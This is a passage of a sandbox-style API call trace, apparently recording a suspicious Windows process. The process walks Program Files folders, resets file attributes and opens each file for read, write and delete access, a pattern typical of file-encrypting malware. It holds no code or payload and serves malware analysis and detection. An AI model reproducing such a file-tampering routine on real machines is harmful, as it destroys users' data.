	[0080.028] FindNextFileW (in: hFindFile=0x2d87bb8, lpFindFileData=0x47598a0 | out: lpFindFileData=0x47598a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2310be20, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x1c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attributions.html", cAlternateFileName="ATTRIB~1.HTM")) returned 1
	[0080.028] wcscmp (_String1="Attributions.html", _String2=".") returned 1
	[0080.028] wcscmp (_String1="Attributions.html", _String2="..") returned 1
	[0080.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4771040
	[0080.028] wcscpy (in: _Dest=0x4771040, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js"
	[0080.028] wcscat (in: _Dest=0x4771040, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\"
	[0080.028] wcscat (in: _Dest=0x4771040, _Source="Attributions.html" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html"
	[0092.011] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\attributions.html")) returned 0x20
	[0092.012] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html", dwFileAttributes=0x20) returned 0
	[0092.012] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\attributions.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.012] GetLastError () returned 0x5
	[0092.012] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html", dwFileAttributes=0x20) returned 0
	[0092.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771040) returned 1
	[0092.012] FindNextFileW (in: hFindFile=0x2d87bb8, lpFindFileData=0x47598a0 | out: lpFindFileData=0x47598a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2310be20, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x2065c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hometimeline.json", cAlternateFileName="HOMETI~1.JSO")) returned 1
	[0092.012] wcscmp (_String1="Hometimeline.json", _String2=".") returned 1
	[0092.012] wcscmp (_String1="Hometimeline.json", _String2="..") returned 1
	[0092.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926710
	[0092.012] wcscpy (in: _Dest=0x4926710, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js"
	[0092.012] wcscat (in: _Dest=0x4926710, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\"
	[0092.012] wcscat (in: _Dest=0x4926710, _Source="Hometimeline.json" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Hometimeline.json") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Hometimeline.json"
	[0092.012] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Hometimeline.json" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\hometimeline.json")) returned 0x20
	[0092.012] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Hometimeline.json", dwFileAttributes=0x20) returned 0
	[0092.013] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Hometimeline.json" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\hometimeline.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.013] GetLastError () returned 0x5
	[0092.013] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Hometimeline.json", dwFileAttributes=0x20) returned 0
	[0092.013] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926710) returned 1
	[0092.013] FindNextFileW (in: hFindFile=0x2d87bb8, lpFindFileData=0x47598a0 | out: lpFindFileData=0x47598a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2310be20, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x1595b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrendsAvailable.json", cAlternateFileName="TRENDS~1.JSO")) returned 1
	[0092.013] wcscmp (_String1="TrendsAvailable.json", _String2=".") returned 1
	[0092.013] wcscmp (_String1="TrendsAvailable.json", _String2="..") returned 1
	[0092.013] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718350
	[0092.013] wcscpy (in: _Dest=0x4718350, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js"
	[0092.013] wcscat (in: _Dest=0x4718350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\"
	[0092.013] wcscat (in: _Dest=0x4718350, _Source="TrendsAvailable.json" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\TrendsAvailable.json") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\TrendsAvailable.json"
	[0092.013] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\TrendsAvailable.json" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\trendsavailable.json")) returned 0x20
	[0092.013] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\TrendsAvailable.json", dwFileAttributes=0x20) returned 0
	[0092.013] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\TrendsAvailable.json" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\trendsavailable.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.013] GetLastError () returned 0x5
	[0092.013] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\TrendsAvailable.json", dwFileAttributes=0x20) returned 0
	[0092.013] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718350) returned 1
	[0092.013] FindNextFileW (in: hFindFile=0x2d87bb8, lpFindFileData=0x47598a0 | out: lpFindFileData=0x47598a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2310be20, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x1595b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrendsAvailable.json", cAlternateFileName="TRENDS~1.JSO")) returned 0
	[0092.014] FindClose (in: hFindFile=0x2d87bb8 | out: hFindFile=0x2d87bb8) returned 1
	[0092.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47598a0) returned 1
	[0092.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49863c8) returned 1
	[0092.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a8f8) returned 1

Thread:
	id = 614
	os_tid = 0x18c4

	[0077.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4767ee8
	[0077.511] wcscpy (in: _Dest=0x4767ee8, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata"
	[0077.511] wcscat (in: _Dest=0x4767ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata\\"
	[0077.511] wcscat (in: _Dest=0x4767ee8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata\\*"
	[0077.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475abe0
	[0077.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata\\*", lpFindFileData=0x475abe0 | out: lpFindFileData=0x475abe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3002ee68, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967c915, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daccf8
	[0078.317] wcscmp (_String1=".", _String2=".") returned 0
	[0078.317] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x475abe0 | out: lpFindFileData=0x475abe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3002ee68, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967c915, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.317] wcscmp (_String1="..", _String2=".") returned 1
	[0078.317] wcscmp (_String1="..", _String2="..") returned 0
	[0078.317] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x475abe0 | out: lpFindFileData=0x475abe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3002ee68, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967c915, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0078.317] FindClose (in: hFindFile=0x2daccf8 | out: hFindFile=0x2daccf8) returned 1
	[0078.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475abe0) returned 1
	[0078.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767ee8) returned 1
	[0078.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02868) returned 1

Thread:
	id = 615
	os_tid = 0x18c8

	[0077.512] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri")) returned 0x20
	[0080.030] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri", dwFileAttributes=0x20) returned 0
	[0080.031] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0080.031] GetLastError () returned 0x5
	[0080.031] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri", dwFileAttributes=0x20) returned 0
	[0080.031] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddabe0) returned 1

Thread:
	id = 616
	os_tid = 0x18cc

	[0077.512] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Background.winmd" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\twitter.background.winmd")) returned 0x20
	[0080.032] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Background.winmd", dwFileAttributes=0x20) returned 0
	[0080.032] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Background.winmd" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\twitter.background.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0080.032] GetLastError () returned 0x5
	[0080.032] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Background.winmd", dwFileAttributes=0x20) returned 0
	[0080.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9510) returned 1

Thread:
	id = 617
	os_tid = 0x18d0

	[0077.513] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.xr.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\twitter.windows.xr.xml")) returned 0x20
	[0080.033] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.xr.xml", dwFileAttributes=0x20) returned 0
	[0080.033] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.xr.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\twitter.windows.xr.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0080.033] GetLastError () returned 0x5
	[0080.033] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.xr.xml", dwFileAttributes=0x20) returned 0
	[0080.033] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cbd78) returned 1

Thread:
	id = 618
	os_tid = 0x18d4

	[0077.513] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\VoiceCommands.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\voicecommands.xml")) returned 0x20
	[0080.034] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\VoiceCommands.xml", dwFileAttributes=0x20) returned 0
	[0080.034] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\VoiceCommands.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\voicecommands.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0080.034] GetLastError () returned 0x5
	[0080.034] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\VoiceCommands.xml", dwFileAttributes=0x20) returned 0
	[0080.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8860) returned 1

Thread:
	id = 619
	os_tid = 0x18d8

	[0077.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x47534d0
	[0077.514] wcscpy (in: _Dest=0x47534d0, _Source="C:\\Program Files\\Windows Security\\BrowserCore\\en-US" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore\\en-US") returned="C:\\Program Files\\Windows Security\\BrowserCore\\en-US"
	[0077.514] wcscat (in: _Dest=0x47534d0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\") returned="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\"
	[0077.514] wcscat (in: _Dest=0x47534d0, _Source="*" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*") returned="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*"
	[0077.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4759b08
	[0077.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*", lpFindFileData=0x4759b08 | out: lpFindFileData=0x4759b08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87838
	[0079.892] wcscmp (_String1=".", _String2=".") returned 0
	[0079.892] FindNextFileW (in: hFindFile=0x2d87838, lpFindFileData=0x4759b08 | out: lpFindFileData=0x4759b08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.892] wcscmp (_String1="..", _String2=".") returned 1
	[0079.892] wcscmp (_String1="..", _String2="..") returned 0
	[0079.892] FindNextFileW (in: hFindFile=0x2d87838, lpFindFileData=0x4759b08 | out: lpFindFileData=0x4759b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 1
	[0079.892] wcscmp (_String1="BrowserCore.exe.mui", _String2=".") returned 1
	[0079.892] wcscmp (_String1="BrowserCore.exe.mui", _String2="..") returned 1
	[0079.892] FindNextFileW (in: hFindFile=0x2d87838, lpFindFileData=0x4759b08 | out: lpFindFileData=0x4759b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 0
	[0079.892] FindClose (in: hFindFile=0x2d87838 | out: hFindFile=0x2d87838) returned 1
	[0079.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4759b08) returned 1
	[0079.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47534d0) returned 1
	[0079.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86ff8) returned 1

Thread:
	id = 620
	os_tid = 0x18dc

	[0077.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\manifest.json" (normalized: "c:\\program files\\windows security\\browsercore\\manifest.json")) returned 0x20
	[0078.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\manifest.json", dwFileAttributes=0x20) returned 0
	[0078.053] CreateFileW (lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\manifest.json" (normalized: "c:\\program files\\windows security\\browsercore\\manifest.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0078.053] GetLastError () returned 0x5
	[0078.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\manifest.json", dwFileAttributes=0x20) returned 0
	[0078.053] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc310) returned 1

Thread:
	id = 621
	os_tid = 0x18e0

	[0077.515] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.001.etl")) returned 0x2000
	[0082.655] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl", dwFileAttributes=0x20) returned 1
	[0083.268] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.001.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.277] GetLastError () returned 0x20
	[0083.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8) returned 0x2d75dd0
	[0083.277] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0083.278] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d75dd0) returned 1
	[0083.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8) returned 0x2d75dd0
	[0083.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498c718
	[0083.278] wcscpy (in: _Dest=0x498c718, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl"
	[0083.278] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl", dwFileAttributes=0x2000) returned 1
	[0083.278] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e352e0) returned 1

Thread:
	id = 622
	os_tid = 0x18e4

	[0077.516] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.002.etl")) returned 0x2020
	[0082.651] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl", dwFileAttributes=0x20) returned 1
	[0083.159] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.002.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16d8
	[0083.160] GetFileSizeEx (in: hFile=0x16d8, lpFileSize=0x179bfc98 | out: lpFileSize=0x179bfc98*=131072) returned 1
	[0083.164] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
